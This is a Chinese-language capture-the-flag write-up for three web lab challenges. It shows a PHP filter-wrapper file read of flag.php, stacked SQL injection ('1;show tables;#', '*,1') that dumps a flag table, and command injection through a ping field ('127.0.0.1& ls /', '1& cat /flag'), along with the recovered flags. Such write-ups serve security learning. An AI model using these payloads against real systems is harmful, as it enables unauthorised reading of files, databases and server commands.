点开题目发现题目里面有只有一个tips
直接点开有这么一段文字
Can you find out the flag?
并且链接上面变成了
http://b5a6be47-59b7-4d20-925f-7303f8c24beb.node4.buuoj.cn:81/?file=flag.php
用bp抓包也没有什么收获。
于是推测可能file的值就是打开的文件
于是采用php伪协议
payload:
http://b5a6be47-59b7-4d20-925f-7303f8c24beb.node4.buuoj.cn:81/?file=pHp://FilTer/convert.base64-encode/resource=flag.php
得到了
PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7MjFjMDRkYjYtNzdjZi00ODUyLTlhZjEtNDRmZDA5MmJhNDY0fQo=
直接用base64解码
<?php echo "Can you find out the flag?"; //flag{21c04db6-77cf-4852-9af1-44fd092ba464}
得到答案说明file的值应该是表示执行相应php代码所以没法看到flag之类的。
题目没有什么多余的东西,直接给了个空格让我们注。
首先尝试采用‘or 1=1#
发现直接回显
Nonono.
并且我发现无论输入多少除了0以外的数字都是回显1,输入0或者字符是没有回显的。
尝试用联合查询1 order by 3#
一样回显
Nonono.
过滤的很多函数,于是我尝试采用堆叠注入
payload:
1;show databases;#
得到了:
Array ( [0] => 1 ) Array ( [0] => ctf ) Array ( [0] => ctftraining ) Array ( [0] => information_schema ) Array ( [0] => mysql ) Array ( [0] => performance_schema ) Array ( [0] => test )
然后我继续payload:
1;show tables;#
然后出现了
Array ( [0] => 1 ) Array ( [0] => Flag )
然后继续:
1;desc `Flag`;#
然后我发现直接出现
Nonono.
然后我直接注入
1,2,3和,3,2,1
分别得到:
Array ( [0] => 1 [1] => 2 [2] => 1 ) Array ( [0] => 3 [1] => 2 [2] => 1 )
再注入1,2,3,4
Array ( [0] => 1 [1] => 2 [2] => 3 [3] => 1 )
由此可以分析得到语句可能是:
select post数据||字符 from Flag(因为select字符会没有回显对应输出0的时候语句变成select 字符 from Flag)
直接payload:
*,1
就得到
Array ( [0] => flag{4ef14303-a2d7-47f2-aec6-b144c7c5069c} [1] => 1 )
但是我发现如果我输入*,0也能得到答案,我有点不理解,不知道是我前面哪里判断错了。
利用管道符| &或者;来做
|: 直接执行后面的语句
&: 前后都执行
;前后都执行
先
127.0.0.1& ls /
PING 127.0.0.1 (127.0.0.1): 56 data bytes bin dev etc flag home lib media mnt opt proc root run sbin srv sys tmp usr var
直接
1& cat /flag 1& tac /flag 1& sort /flag
就得到
flag{4951402f-d046-4187-939c-1f07dac03b4b}